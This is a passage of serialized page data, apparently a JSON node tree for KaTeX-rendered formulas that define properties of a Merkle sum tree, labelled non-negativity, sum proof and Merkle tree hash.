3,"props":93615,"children":93617},{"className":93616},[4120],[93618],{"type":23,"tag":213,"props":93619,"children":93621},{"className":93620},[4125,21691],[93622,93653],{"type":23,"tag":213,"props":93623,"children":93625},{"className":93624},[4130],[93626,93648],{"type":23,"tag":213,"props":93627,"children":93630},{"className":93628,"style":93629},[4135],"height:0.3117em;",[93631],{"type":23,"tag":213,"props":93632,"children":93634},{"style":93633},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[93635,93639],{"type":23,"tag":213,"props":93636,"children":93638},{"className":93637,"style":4145},[4144],[],{"type":23,"tag":213,"props":93640,"children":93642},{"className":93641},[4150,4151,4152,4153],[93643],{"type":23,"tag":213,"props":93644,"children":93646},{"className":93645},[4103,21637,4153],[93647],{"type":28,"value":3826},{"type":23,"tag":213,"props":93649,"children":93651},{"className":93650},[21794],[93652],{"type":28,"value":21797},{"type":23,"tag":213,"props":93654,"children":93656},{"className":93655},[4130],[93657],{"type":23,"tag":213,"props":93658,"children":93660},{"className":93659,"style":93183},[4135],[93661],{"type":23,"tag":213,"props":93662,"children":93663},{},[],{"type":23,"tag":213,"props":93665,"children":93667},{"className":93666,"style":4282},[4184],[],{"type":23,"tag":213,"props":93669,"children":93671},{"className":93670},[4287],[93672],{"type":28,"value":8660},{"type":23,"tag":213,"props":93674,"children":93676},{"className":93675,"style":4282},[4184],[],{"type":23,"tag":213,"props":93678,"children":93680},{"className":93679},[4092],[93681,93685,93691,93696,93701,93706,93711,93716,93721,93726,93731,93736,93741,93746,93751,93756,93761,93766,93823,93828,93833,93838,93843,93848,93853,93858,93863,93868,93872,93877],{"type":23,"tag":213,"props":93682,"children":93684},{"className":93683,"style":93042},[4097],[],{"type":23,"tag":213,"props":93686,"children":93688},{"className":93687},[4103],[93689],{"type":28,"value":93690},"Σ",{"type":23,"tag":213,"props":93692,"children":93694},{"className":93693},[4184],[93695],{"type":28,"value":21738},{"type":23,"tag":213,"props":93697,"children":93699},{"className":93698},[4103,21637],[93700],{"type":28,"value":36},{"type":23,"tag":213,"props":93702,"children":93704},{"className":93703},[4103,21637],[93705],{"type":28,"value":93557},{"type":23,"tag":213,"props":93707,"children":93709},{"className":93708},[4103,21637],[93710],{"type":28,"value":93359},{"type":23,"tag":213,"props":93712,"children":93714},{"className":93713},[4103,21637],[93715],{"type":28,"value":56456},{"type":23,"tag":213,"props":93717,"children":93719},{"className":93718},[4103,21637],[93720],{"type":28,"value":21779},{"type":23,"tag":213,"props":93722,"children":93724},{"className":93723,"style":93100},[4103],[93725],{"type":28,"value":3181},{"type":23,"tag":213,"props":93727,"children":93729},{"className":93728},[4103,21637],[93730],{"type":28,"value":36},{"type":23,"tag":213,"props":93732,"children":93734},{"className":93733},[4103,21637],[93735],{"type":28,"value":93091},{"type":23,"tag":213,"props":93737,"children":93739},{"className":93738},[4103,21637],[93740],{"type":28,"value":21779},{"type":23,"tag":213,"props":93742,"children":93744},{"className":93743,"style":93100},[4103],[93745],{"type":28,"value":3181},{"type":23,"tag":213,"props":93747,"children":93749},{"className":93748},[4103,21637],[93750],{"type":28,"value":93108},{"type":23,"tag":213,"props":93752,"children":93754},{"className":93753,"style":93112},[4103,21637],[93755],{"type":28,"value":93115},{"type":23,"tag":213,"props":93757,"children":93759},{"className":93758},[4103,21637],[93760],{"type":28,"value":93121},{"type":23,"tag":213,"props":93762,"children":93764},{"className":93763},[4103,21637],[93765],{"type":28,"value":93127},{"type":23,"tag":213,"props":93767,"children":93769},{"className":93768},[4103],[93770,93775],{"type":23,"tag":213,"props":93771,"children":93773},{"className":93772},[4103,21637],[93774],{"type":28,"value":10735},{"type":23,"tag":213,"props":93776,"children":93778},{"className":93777},[4120],[93779],{"type":23,"tag":213,"props":93780,"children":93782},{"className":93781},[4125,21691],[93783,93812],{"type":23,"tag":213,"props":93784,"children":93786},{"className":93785},[4130],[93787,93807],{"type":23,"tag":213,"props":93788,"children":93790},{"className":93789,"style":93629},[4135],[93791],{"type":23,"tag":213,"props":93792,"children":93793},{"style":93156},[93794,93798],{"type":23,"tag":213,"props":93795,"children":93797},{"className":93796,"style":4145},[4144],[],{"type":23,"tag":213,"props":93799,"children":93801},{"className":93800},[4150,4151,4152,4153],[93802],{"type":23,"tag":213,"props":93803,"children":93805},{"className":93804},[4103,21637,4153],[93806],{"type":28,"value":3826},{"type":23,"tag":213,"props":93808,"children":93810},{"className":93809},[21794],[93811],{"type":28,"value":21797},{"type":23,"tag":213,"props":93813,"children":93815},{"className":93814},[4130],[93816],{"type":23,"tag":213,"props":93817,"children":93819},{"className":93818,"style":93183},[4135],[93820],{"type":23,"tag":213,"props":93821,"children":93822},{},[],{"type":23,"tag":213,"props":93824,"children":93826},{"className":93825},[21766],[93827],{"type":28,"value":3821},{"type":23,"tag":213,"props":93829,"children":93831},{"className":93830},[4103,21637],[93832],{"type":28,"value":36},{"type":23,"tag":213,"props":93834,"children":93836},{"className":93835},[4103,21637],[93837],{"type":28,"value":93091},{"type":23,"tag":213,"props":93839,"children":93841},{"className":93840},[4103,21637],[93842],{"type":28,"value":21779},{"type":23,"tag":213,"props":93844,"children":93846},{"className":93845,"style":93100},[4103],[93847],{"type":28,"value":3181},{"type":23,"tag":213,"props":93849,"children":93851},{"className":93850},[4103,21637],[93852],{"type":28,"value":56456},{"type":23,"tag":213,"props":93854,"children":93856},{"className":93855},[4103,21637],[93857],{"type":28,"value":93359},{"type":23,"tag":213,"props":93859,"children":93861},{"className":93860},[4103,21637],[93862],{"type":28,"value":51186},{"type":23,"tag":213,"props":93864,"children":93866},{"className":93865},[21788],[93867],{"type":28,"value":15470},{"type":23,"tag":213,"props":93869,"children":93871},{"className":93870,"style":4185},[4184],[],{"type":23,"tag":213,"props":93873,"children":93875},{"className":93874},[4190],[93876],{"type":28,"value":4193},{"type":23,"tag":213,"props":93878,"children":93880},{"className":93879,"style":4185},[4184],[],{"type":23,"tag":213,"props":93882,"children":93884},{"className":93883},[4092],[93885,93889,93894,93899,93904,93909,93914,93920,93925,93931,93936,93941,93946,93951,93956,93961,93966,93971],{"type":23,"tag":213,"props":93886,"children":93888},{"className":93887,"style":93042},[4097],[],{"type":23,"tag":213,"props":93890,"children":93892},{"className":93891},[4103,21637],[93893],{"type":28,"value":36},{"type":23,"tag":213,"props":93895,"children":93897},{"className":93896},[4103,21637],[93898],{"type":28,"value":93091},{"type":23,"tag":213,"props":93900,"children":93902},{"className":93901},[4103,21637],[93903],{"type":28,"value":21779},{"type":23,"tag":213,"props":93905,"children":93907},{"className":93906,"style":93100},[4103],[93908],{"type":28,"value":3181},{"type":23,"tag":213,"props":93910,"children":93912},{"className":93911},[4103,21637],[93913],{"type":28,"value":24},{"type":23,"tag":213,"props":93915,"children":93917},{"className":93916,"style":93100},[4103,21637],[93918],{"type":28,"value":93919},"r",{"type":23,"tag":213,"props":93921,"children":93923},{"className":93922},[4103,21637],[93924],{"type":28,"value":3826},{"type":23,"tag":213,"props":93926,"children":93928},{"className":93927},[4103,21637],[93929],{"type":28,"value":93930},"ces",{"type":23,"tag":213,"props":93932,"children":93934},{"className":93933},[21766],[93935],{"type":28,"value":3821},{"type":23,"tag":213,"props":93937,"children":93939},{"className":93938},[4103,21637],[93940],{"type":28,"value":36},{"type":23,"tag":213,"props":93942,"children":93944},{"className":93943},[4103,21637],[93945],{"type":28,"value":93091},{"type":23,"tag":213,"props":93947,"children":93949},{"className":93948},[4103,21637],[93950],{"type":28,"value":21779},{"type":23,"tag":213,"props":93952,"children":93954},{"className":93953,"style":93100},[4103],[93955],{"type":28,"value":3181},{"type":23,"tag":213,"props":93957,"children":93959},{"className":93958},[4103,21637],[93960],{"type":28,"value":56456},{"type":23,"tag":213,"props":93962,"children":93964},{"className":93963},[4103,21637],[93965],{"type":28,"value":93359},{"type":23,"tag":213,"props":93967,"children":93969},{"className":93968},[4103,21637],[93970],{"type":28,"value":51186},{"type":23,"tag":213,"props":93972,"children":93974},{"className":93973},[21788],[93975],{"type":28,"value":15470},{"type":23,"tag":135,"props":93977,"children":93978},{},[93979,94138,94139],{"type":23,"tag":209,"props":93980,"children":93982},{"className":93981},[4076,4077],[93983],{"type":23,"tag":213,"props":93984,"children":93986},{"className":93985},[4082],[93987],{"type":23,"tag":213,"props":93988,"children":93990},{"className":93989,"ariaHidden":1710},[4087],[93991,94124],{"type":23,"tag":213,"props":93992,"children":93994},{"className":93993},[4092],[93995,93999,94004,94009,94014,94019,94024,94029,94034,94039,94044,94049,94054,94111,94115,94120],{"type":23,"tag":213,"props":93996,"children":93998},{"className":93997,"style":93545},[4097],[],{"type":23,"tag":213,"props":94000,"children":94002},{"className":94001},[4103,21637],[94003],{"type":28,"value":36},{"type":23,"tag":213,"props":94005,"children":94007},{"className":94006},[4103,21637],[94008],{"type":28,"value":93557},{"type":23,"tag":213,"props":94010,"children":94012},{"className":94011},[4103,21637],[94013],{"type":28,"value":93359},{"type":23,"tag":213,"props":94015,"children":94017},{"className":94016},[4103,21637],[94018],{"type":28,"value":56456},{"type":23,"tag":213,"props":94020,"children":94022},{"className":94021},[4103,21637],[94023],{"type":28,"value":21779},{"type":23,"tag":213,"props":94025,"children":94027},{"className":94026,"style":93100},[4103],[94028],{"type":28,"value":3181},{"type":23,"tag":213,"props":94030,"children":94032},{"className":94031},[4103,21637],[94033],{"type":28,"value":51507},{"type":23,"tag":213,"props":94035,"children":94037},{"className":94036,"style":93586},[4103,21637],[94038],{"type":28,"value":93589},{"type":23,"tag":213,"props":94040,"children":94042},{"className":94041},[4103,21637],[94043],{"type":28,"value":93359},{"type":23,"tag":213,"props":94045,"children":94047},{"className":94046},[4103,21637],[94048],{"type":28,"value":3826},{"type":23,"tag":213,"props":94050,"children":94052},{"className":94051},[4103,21637],[94053],{"type":28,"value":21779},{"type":23,"tag":213,"props":94055,"children":94057},{"className":94056},[4103],[94058,94063],{"type":23,"tag":213,"props":94059,"children":94061},{"className":94060,"style":93586},[4103,21637],[94062],{"type":28,"value":3212},{"type":23,"tag":213,"props":94064,"children":94066},{"className":94065},[4120],[94067],{"type":23,"tag":213,"props":94068,"children":94070},{"className":94069},[4125,21691],[94071,94100],{"type":23,"tag":213,"props":94072,"children":94074},{"className":94073},[4130],[94075,94095],{"type":23,"tag":213,"props":94076,"children":94078},{"className":94077,"style":93629},[4135],[94079],{"type":23,"tag":213,"props":94080,"children":94081},{"style":93633},[94082,94086],{"type":23,"tag":213,"props":94083,"children":94085},{"className":94084,"style":4145},[4144],[],{"type":23,"tag":213,"props":94087,"children":94089},{"className":94088},[4150,4151,4152,4153],[94090],{"type":23,"tag":213,"props":94091,"children":94093},{"className":94092},[4103,21637,4153],[94094],{"type":28,"value":3826},{"type":23,"tag":213,"props":94096,"children":94098},{"className":94097},[21794],[94099],{"type":28,"value":21797},{"type":23,"tag":213,"props":94101,"children":94103},{"className":94102},[4130],[94104],{"type":23,"tag":213,"props":94105,"children":94107},{"className":94106,"style":93183},[4135],[94108],{"type":23,"tag":213,"props":94109,"children":94110},{},[],{"type":23,"tag":213,"props":94112,"children":94114},{"className":94113,"style":4282},[4184],[],{"type":23,"tag":213,"props":94116,"children":94118},{"className":94117},[4287],[94119],{"type":28,"value":10026},{"type":23,"tag":213,"props":94121,"children":94123},{"className":94122,"style":4282},[4184],[],{"type":23,"tag":213,"props":94125,"children":94127},{"className":94126},[4092],[94128,94133],{"type":23,"tag":213,"props":94129,"children":94132},{"className":94130,"style":94131},[4097],"height:0.6444em;",[],{"type":23,"tag":213,"props":94134,"children":94136},{"className":94135},[4103],[94137],{"type":28,"value":4116},{"type":28,"value":6550},{"type":23,"tag":95,"props":94140,"children":94141},{},[94142],{"type":28,"value":94143},"(non-negativity)",{"type":23,"tag":135,"props":94145,"children":94146},{},[94147,94485,94486],{"type":23,"tag":209,"props":94148,"children":94150},{"className":94149},[4076,4077],[94151],{"type":23,"tag":213,"props":94152,"children":94154},{"className":94153},[4082],[94155],{"type":23,"tag":213,"props":94156,"children":94158},{"className":94157,"ariaHidden":1710},[4087],[94159,94295],{"type":23,"tag":213,"props":94160,"children":94162},{"className":94161},[4092],[94163,94167,94172,94177,94182,94187,94192,94197,94202,94207,94212,94217,94222,94227,94232,94237,94242,94247,94252,94257,94262,94267,94272,94277,94282,94286,94291],{"type":23,"tag":213,"props":94164,"children":94166},{"className":94165,"style":93042},[4097],[],{"type":23,"tag":213,"props":94168,"children":94170},{"className":94169},[4103,21637],[94171],{"type":28,"value":21779},{"type":23,"tag":213,"props":94173,"children":94175},{"className":94174},[4103,21637],[94176],{"type":28,"value":93070},{"type":23,"tag":213,"props":94178,"children":94180},{"className":94179},[4103,21637],[94181],{"type":28,"value":21779},{"type":23,"tag":213,"props":94183,"children":94185},{"className":94184},[4103,21637],[94186],{"type":28,"value":36},{"type":23,"tag":213,"props":94188,"children":94190},{"className":94189,"style":93112},[4103,21637],[94191],{"type":28,"value":93115},{"type":23,"tag":213,"props":94193,"children":94195},{"className":94194,"style":93100},[4103],[94196],{"type":28,"value":3181},{"type":23,"tag":213,"props":94198,"children":94200},{"className":94199},[4103,21637],[94201],{"type":28,"value":36},{"type":23,"tag":213,"props":94203,"children":94205},{"className":94204},[4103,21637],[94206],{"type":28,"value":93091},{"type":23,"tag":213,"props":94208,"children":94210},{"className":94209},[4103,21637],[94211],{"type":28,"value":21779},{"type":23,"tag":213,"props":94213,"children":94215},{"className":94214,"style":93100},[4103],[94216],{"type":28,"value":3181},{"type":23,"tag":213,"props":94218,"children":94220},{"className":94219},[4103,21637],[94221],{"type":28,"value":93108},{"type":23,"tag":213,"props":94223,"children":94225},{"className":94224,"style":93112},[4103,21637],[94226],{"type":28,"value":93115},{"type":23,"tag":213,"props":94228,"children":94230},{"className":94229},[4103,21637],[94231],{"type":28,"value":93121},{"type":23,"tag":213,"props":94233,"children":94235},{"className":94234},[4103,21637],[94236],{"type":28,"value":93127},{"type":23,"tag":213,"props":94238,"children":94240},{"className":94239},[21766],[94241],{"type":28,"value":3821},{"type":23,"tag":213,"props":94243,"children":94245},{"className":94244},[4103,21637],[94246],{"type":28,"value":36},{"type":23,"tag":213,"props":94248,"children":94250},{"className":94249},[4103,21637],[94251],{"type":28,"value":93091},{"type":23,"tag":213,"props":94253,"children":94255},{"className":94254},[4103,21637],[94256],{"type":28,"value":21779},{"type":23,"tag":213,"props":94258,"children":94260},{"className":94259,"style":93100},[4103],[94261],{"type":28,"value":3181},{"type":23,"tag":213,"props":94263,"children":94265},{"className":94264},[4103,21637],[94266],{"type":28,"value":56456},{"type":23,"tag":213,"props":94268,"children":94270},{"className":94269},[4103,21637],[94271],{"type":28,"value":93359},{"type":23,"tag":213,"props":94273,"children":94275},{"className":94274},[4103,21637],[94276],{"type":28,"value":51186},{"type":23,"tag":213,"props":94278,"children":94280},{"className":94279},[21788],[94281],{"type":28,"value":15470},{"type":23,"tag":213,"props":94283,"children":94285},{"className":94284,"style":4282},[4184],[],{"type":23,"tag":213,"props":94287,"children":94289},{"className":94288},[4287],[94290],{"type":28,"value":8660},{"type":23,"tag":213,"props":94292,"children":94294},{"className":94293,"style":4282},[4184],[],{"type":23,"tag":213,"props":94296,"children":94298},{"className":94297},[4092],[94299,94303,94308,94313,94318,94323,94328,94333,94338,94343,94348,94353,94358,94363,94368,94373,94378,94383,94440,94445,94450,94455,94460,94465,94470,94475,94480],{"type":23,"tag":213,"props":94300,"children":94302},{"className":94301,"style":93042},[4097],[],{"type":23,"tag":213,"props":94304,"children":94306},{"className":94305},[4103],[94307],{"type":28,"value":93690},{"type":23,"tag":213,"props":94309,"children":94311},{"className":94310},[4184],[94312],{"type":28,"value":21738},{"type":23,"tag":213,"props":94314,"children":94316},{"className":94315},[4103,21637],[94317],{"type":28,"value":36},{"type":23,"tag":213,"props":94319,"children":94321},{"className":94320},[4103,21637],[94322],{"type":28,"value":93557},{"type":23,"tag":213,"props":94324,"children":94326},{"className":94325},[4103,21637],[94327],{"type":28,"value":93359},{"type":23,"tag":213,"props":94329,"children":94331},{"className":94330},[4103,21637],[94332],{"type":28,"value":56456},{"type":23,"tag":213,"props":94334,"children":94336},{"className":94335},[4103,21637],[94337],{"type":28,"value":21779},{"type":23,"tag":213,"props":94339,"children":94341},{"className":94340,"style":93100},[4103],[94342],{"type":28,"value":3181},{"type":23,"tag":213,"props":94344,"children":94346},{"className":94345},[4103,21637],[94347],{"type":28,"value":36},{"type":23,"tag":213,"props":94349,"children":94351},{"className":94350},[4103,21637],[94352],{"type":28,"value":93091},{"type":23,"tag":213,"props":94354,"children":94356},{"className":94355},[4103,21637],[94357],{"type":28,"value":21779},{"type":23,"tag":213,"props":94359,"children":94361},{"className":94360,"style":93100},[4103],[94362],{"type":28,"value":3181},{"type":23,"tag":213,"props":94364,"children":94366},{"className":94365},[4103,21637],[94367],{"type":28,"value":93108},{"type":23,"tag":213,"props":94369,"children":94371},{"className":94370,"style":93112},[4103,21637],[94372],{"type":28,"value":93115},{"type":23,"tag":213,"props":94374,"children":94376},{"className":94375},[4103,21637],[94377],{"type":28,"value":93121},{"type":23,"tag":213,"props":94379,"children":94381},{"className":94380},[4103,21637],[94382],{"type":28,"value":93127},{"type":23,"tag":213,"props":94384,"children":94386},{"className":94385},[4103],[94387,94392],{"type":23,"tag":213,"props":94388,"children":94390},{"className":94389},[4103,21637],[94391],{"type":28,"value":10735},{"type":23,"tag":213,"props":94393,"children":94395},{"className":94394},[4120],[94396],{"type":23,"tag":213,"props":94397,"children":94399},{"className":94398},[4125,21691],[94400,94429],{"type":23,"tag":213,"props":94401,"children":94403},{"className":94402},[4130],[94404,94424],{"type":23,"tag":213,"props":94405,"children":94407},{"className":94406,"style":93629},[4135],[94408],{"type":23,"tag":213,"props":94409,"children":94410},{"style":93156},[94411,94415],{"type":23,"tag":213,"props":94412,"children":94414},{"className":94413,"style":4145},[4144],[],{"type":23,"tag":213,"props":94416,"children":94418},{"className":94417},[4150,4151,4152,4153],[94419],{"type":23,"tag":213,"props":94420,"children":94422},{"className":94421},[4103,21637,4153],[94423],{"type":28,"value":3826},{"type":23,"tag":213,"props":94425,"children":94427},{"className":94426},[21794],[94428],{"type":28,"value":21797},{"type":23,"tag":213,"props":94430,"children":94432},{"className":94431},[4130],[94433],{"type":23,"tag":213,"props":94434,"children":94436},{"className":94435,"style":93183},[4135],[94437],{"type":23,"tag":213,"props":94438,"children":94439},{},[],{"type":23,"tag":213,"props":94441,"children":94443},{"className":94442},[21766],[94444],{"type":28,"value":3821},{"type":23,"tag":213,"props":94446,"children":94448},{"className":94447},[4103,21637],[94449],{"type":28,"value":36},{"type":23,"tag":213,"props":94451,"children":94453},{"className":94452},[4103,21637],[94454],{"type":28,"value":93091},{"type":23,"tag":213,"props":94456,"children":94458},{"className":94457},[4103,21637],[94459],{"type":28,"value":21779},{"type":23,"tag":213,"props":94461,"children":94463},{"className":94462,"style":93100},[4103],[94464],{"type":28,"value":3181},{"type":23,"tag":213,"props":94466,"children":94468},{"className":94467},[4103,21637],[94469],{"type":28,"value":56456},{"type":23,"tag":213,"props":94471,"children":94473},{"className":94472},[4103,21637],[94474],{"type":28,"value":93359},{"type":23,"tag":213,"props":94476,"children":94478},{"className":94477},[4103,21637],[94479],{"type":28,"value":51186},{"type":23,"tag":213,"props":94481,"children":94483},{"className":94482},[21788],[94484],{"type":28,"value":15470},{"type":28,"value":6550},{"type":23,"tag":95,"props":94487,"children":94488},{},[94489],{"type":28,"value":94490},"(sum proof)",{"type":23,"tag":135,"props":94492,"children":94493},{},[94494,94883,94884],{"type":23,"tag":209,"props":94495,"children":94497},{"className":94496},[4076,4077],[94498],{"type":23,"tag":213,"props":94499,"children":94501},{"className":94500},[4082],[94502],{"type":23,"tag":213,"props":94503,"children":94505},{"className":94504,"ariaHidden":1710},[4087],[94506,94592],{"type":23,"tag":213,"props":94507,"children":94509},{"className":94508},[4092],[94510,94515,94520,94526,94532,94537,94542,94547,94552,94558,94563,94569,94574,94579,94583,94588],{"type":23,"tag":213,"props":94511,"children":94514},{"className":94512,"style":94513},[4097],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":213,"props":94516,"children":94518},{"className":94517},[4103,21637],[94519],{"type":28,"value":51186},{"type":23,"tag":213,"props":94521,"children":94523},{"className":94522,"style":93100},[4103,21637],[94524],{"type":28,"value":94525},"er",{"type":23,"tag":213,"props":94527,"children":94530},{"className":94528,"style":94529},[4103,21637],"margin-right:0.03148em;",[94531],{"type":28,"value":88737},{"type":23,"tag":213,"props":94533,"children":94535},{"className":94534,"style":93112},[4103,21637],[94536],{"type":28,"value":93115},{"type":23,"tag":213,"props":94538,"children":94540},{"className":94539},[4103,21637],[94541],{"type":28,"value":51507},{"type":23,"tag":213,"props":94543,"children":94545},{"className":94544,"style":93100},[4103],[94546],{"type":28,"value":3181},{"type":23,"tag":213,"props":94548,"children":94550},{"className":94549},[4103,21637],[94551],{"type":28,"value":21779},{"type":23,"tag":213,"props":94553,"children":94555},{"className":94554},[4103,21637],[94556],{"type":28,"value":94557},"ree",{"type":23,"tag":213,"props":94559,"children":94561},{"className":94560,"style":93100},[4103],[94562],{"type":28,"value":3181},{"type":23,"tag":213,"props":94564,"children":94566},{"className":94565},[4103,21637],[94567],{"type":28,"value":94568},"ha",{"type":23,"tag":213,"props":94570,"children":94572},{"className":94571},[4103,21637],[94573],{"type":28,"value":10735},{"type":23,"tag":213,"props":94575,"children":94577},{"className":94576},[4103,21637],[94578],{"type":28,"value":84398},{"type":23,"tag":213,"props":94580,"children":94582},{"className":94581,"style":4282},[4184],[],{"type":23,"tag":213,"props":94584,"children":94586},{"className":94585},[4287],[94587],{"type":28,"value":8660},{"type":23,"tag":213,"props":94589,"children":94591},{"className":94590,"style":4282},[4184],[],{"type":23,"tag":213,"props":94593,"children":94595},{"className":94594},[4092],[94596,94600,94605,94610,94615,94620,94625,94630,94635,94640,94645,94702,94707,94711,94716,94721,94778,94783,94788,94792,94797,94802,94806,94811,94816,94878],{"type":23,"tag":213,"props":94597,"children":94599},{"className":94598,"style":4205},[4097],[],{"type":23,"tag":213,"props":94601,"children":94603},{"className":94602,"style":21638},[4103,21637],[94604],{"type":28,"value":21641},{"type":23,"tag":213,"props":94606,"children":94608},{"className":94607},[4103,21637],[94609],{"type":28,"value":93054},{"type":23,"tag":213,"props":94611,"children":94613},{"className":94612},[4103,21637],[94614],{"type":28,"value":3826},{"type":23,"tag":213,"props":94616,"children":94618},{"className":94617},[4103,21637],[94619],{"type":28,"value":70617},{"type":23,"tag":213,"props":94621,"children":94623},{"className":94622},[4103,21637],[94624],{"type":28,"value":93070},{"type":23,"tag":213,"props":94626,"children":94628},{"className":94627},[4103,21637],[94629],{"type":28,"value":56456},{"type":23,"tag":213,"props":94631,"children":94633},{"className":94632},[21766],[94634],{"type":28,"value":265},{"type":23,"tag":213,"props":94636,"children":94638},{"className":94637},[4103,21637],[94639],{"type":28,"value":94568},{"type":23,"tag":213,"props":94641,"children":94643},{"className":94642},[4103,21637],[94644],{"type":28,"value":10735},{"type":23,"tag":213,"props":94646,"children":94648},{"className":94647},[4103],[94649,94654],{"type":23,"tag":213,"props":94650,"children":94652},{"className":94651},[4103,21637],[94653],{"type":28,"value":84398},{"type":23,"tag":213,"props":94655,"children":94657},{"className":94656},[4120],[94658],{"type":23,"tag":213,"props":94659,"children":94661},{"className":94660},[4125,21691],[94662,94691],{"type":23,"tag":213,"props":94663,"children":94665},{"className":94664},[4130],[94666,94686],{"type":23,"tag":213,"props":94667,"children":94669},{"className":94668,"style":93152},[4135],[94670],{"type":23,"tag":213,"props":94671,"children":94672},{"style":93156},[94673,94677],{"type":23,"tag":213,"props":94674,"children":94676},{"className":94675,"style":4145},[4144],[],{"type":23,"tag":213,"props":94678,"children":94680},{"className":94679},[4150,4151,4152,4153],[94681],{"type":23,"tag":213,"props":94682,"children":94684},{"className":94683},[4103,4153],[94685],{"type":28,"value":4116},{"type":23,"tag":213,"props":94687,"children":94689},{"className":94688},[21794],[94690],{"type":28,"value":21797},{"type":23,"tag":213,"props":94692,"children":94694},{"className":94693},[4130],[94695],{"type":23,"tag":213,"props":94696,"children":94698},{"className":94697,"style":93183},[4135],[94699],{"type":23,"tag":213,"props":94700,"children":94701},{},[],{"type":23,"tag":213,"props":94703,"children":94705},{"className":94704},[4216],[94706],{"type":28,"value":4219},{"type":23,"tag":213,"props":94708,"children":94710},{"className":94709,"style":4223},[4184],[],{"type":23,"tag":213,"props":94712,"children":94714},{"className":94713},[4103,21637],[94715],{"type":28,"value":94568},{"type":23,"tag":213,"props":94717,"children":94719},{"className":94718},[4103,21637],[94720],{"type":28,"value":10735},{"type":23,"tag":213,"props":94722,"children":94724},{"className":94723},[4103],[94725,94730],{"type":23,"tag":213,"props":94726,"children":94728},{"className":94727},[4103,21637],[94729],{"type":28,"value":84398},{"type":23,"tag":213,"props":94731,"children":94733},{"className":94732},[4120],[94734],{"type":23,"tag":213,"props":94735,"children":94737},{"className":94736},[4125,21691],[94738,94767],{"type":23,"tag":213,"props":94739,"children":94741},{"className":94740},[4130],[94742,94762],{"type":23,"tag":213,"props":94743,"children":94745},{"className":94744,"style":93152},[4135],[94746],{"type":23,"tag":213,"props":94747,"children":94748},{"style":93156},[94749,94753],{"type":23,"tag":213,"props":94750,"children":94752},{"className":94751,"style":4145},[4144],[],{"type":23,"tag":213,"props":94754,"children":94756},{"className":94755},[4150,4151,4152,4153],[94757],{"type":23,"tag":213,"props":94758,"children":94760},{"className":94759},[4103,4153],[94761],{"type":28,"value":4106},{"type":23,"tag":213,"props":94763,"children":94765},{"className":94764},[21794],[94766],{"type":28,"value":21797},{"type":23,"tag":213,"props":94768,"children":94770},{"className":94769},[4130],[94771],{"type":23,"tag":213,"props":94772,"children":94774},{"className":94773,"style":93183},[4135],[94775],{"type":23,"tag":213,"props":94776,"children":94777},{},[],{"type":23,"tag":213,"props":94779,"children":94781},{"className":94780},[4216],[94782],{"type":28,"value":4219},{"type":23,"tag":213,"props":94784,"children":94786},{"className":94785},[4184],[94787],{"type":28,"value":21738},{"type":23,"tag":213,"props":94789,"children":94791},{"className":94790,"style":4223},[4184],[],{"type":23,"tag":213,"props":94793,"children":94795},{"className":94794},[4103],[94796],{"type":28,"value":9675},{"type":23,"tag":213,"props":94798,"children":94800},{"className":94799},[4216],[94801],{"type":28,"value":4219},{"type":23,"tag":213,"props":94803,"children":94805},{"className":94804,"style":4223},[4184],[],{"type":23,"tag":213,"props":94807,"children":94809},{"className":94808},[4103,21637],[94810],{"type":28,"value":94568},{"type":23,"tag":213,"props":94812,"children":94814},{"className":94813},[4103,21637],[94815],{"type":28,"value":10735},{"type":23,"tag":213,"props":94817,"children":94819},{"className":94818},[4103],[94820,94825],{"type":23,"tag":213,"props":94821,"children":94823},{"className":94822},[4103,21637],[94824],{"type":28,"value":84398},{"type":23,"tag":213,"props":94826,"children":94828},{"className":94827},[4120],[94829],{"type":23,"tag":213,"props":94830,"children":94832},{"className":94831},[4125,21691],[94833,94867],{"type":23,"tag":213,"props":94834,"children":94836},{"className":94835},[4130],[94837,94862],{"type":23,"tag":213,"props":94838,"children":94840},{"className":94839,"style":93152},[4135],[94841],{"type":23,"tag":213,"props":94842,"children":94843},{"style":93156},[94844,94848],{"type":23,"tag":213,"props":94845,"children":94847},{"className":94846,"style":4145},[4144],[],{"type":23,"tag":213,"props":94849,"children":94851},{"className":94850},[4150,4151,4152,4153],[94852],{"type":23,"tag":213,"props":94853,"children":94855},{"className":94854},[4103,4153],[94856],{"type":23,"tag":213,"props":94857,"children":94859},{"className":94858},[4103,4153],[94860],{"type":28,"value":94861},"511",{"type":23,"tag":213,"props":94863,"children":94865},{"className":94864},[21794],[94866],{"type":28,"value":21797},{"type":23,"tag":213,"props":94868,"children":94870},{"className":94869},[4130],[94871],{"type":23,"tag":213,"props":94872,"children":94874},{"className":94873,"style":93183},[4135],[94875],{"type":23,"tag":213,"props":94876,"children":94877},{},[],{"type":23,"tag":213,"props":94879,"children":94881},{"className":94880},[21788],[94882],{"type":28,"value":2121},{"type":28,"value":6550},{"type":23,"tag":95,"props":94885,"children":94886},{},[94887],{"type":28,"value":94888},"(merkle tree hash)",{"type":23,"tag":135,"props":94890,"children":94891},{},[94892,95167,95168,95173,95175,95180],{"type":23,"tag":209,"props":94893,"children":94895},{"className":94894},[4076,4077],[94896],{"type":23,"tag":213,"props":94897,"children":94899},{"className":94898},[4082],[94900],{"type":23,"tag":213,"props":94901,"children":94903},{"className":94902,"ariaHidden":1710},[4087],[94904,95097],{"type":23,"tag":213,"props":94905,"children":94907},{"className":94906},[4092],[94908,94912,94917,94922,94927,94932,94937,94942,94947,94952,94957,94962,94967,94972,94977,94982,95039,95044,95049,95054,95059,95064,95069,95074,95079,95084,95088,95093],{"type":23,"tag":213,"props":94909,"children":94911},{"className":94910,"style":93042},[4097],[],{"type":23,"tag":213,"props":94913,"children":94915},{"className":94914},[4103,21637],[94916],{"type":28,"value":36},{"type":23,"tag":213,"props":94918,"children":94920},{"className":94919},[4103,21637],[94921],{"type":28,"value":93557},{"type":23,"tag":213,"props":94923,"children":94925},{"className":94924},[4103,21637],[94926],{"type":28,"value":93359},{"type":23,"tag":213,"props":94928,"children":94930},{"className":94929},[4103,21637],[94931],{"type":28,"value":56456},{"type":23,"tag":213,"props":94933,"children":94935},{"className":94934},[4103,21637],[94936],{"type":28,"value":21779},{"type":23,"tag":213,"props":94938,"children":94940},{"className":94939,"style":93100},[4103],[94941],{"type":28,"value":3181},{"type":23,"tag":213,"props":94943,"children":94945},{"className":94944},[4103,21637],[94946],{"type":28,"value":36},{"type":23,"tag":213,"props":94948,"children":94950},{"className":94949},[4103,21637],[94951],{"type":28,"value":93091},{"type":23,"tag":213,"props":94953,"children":94955},{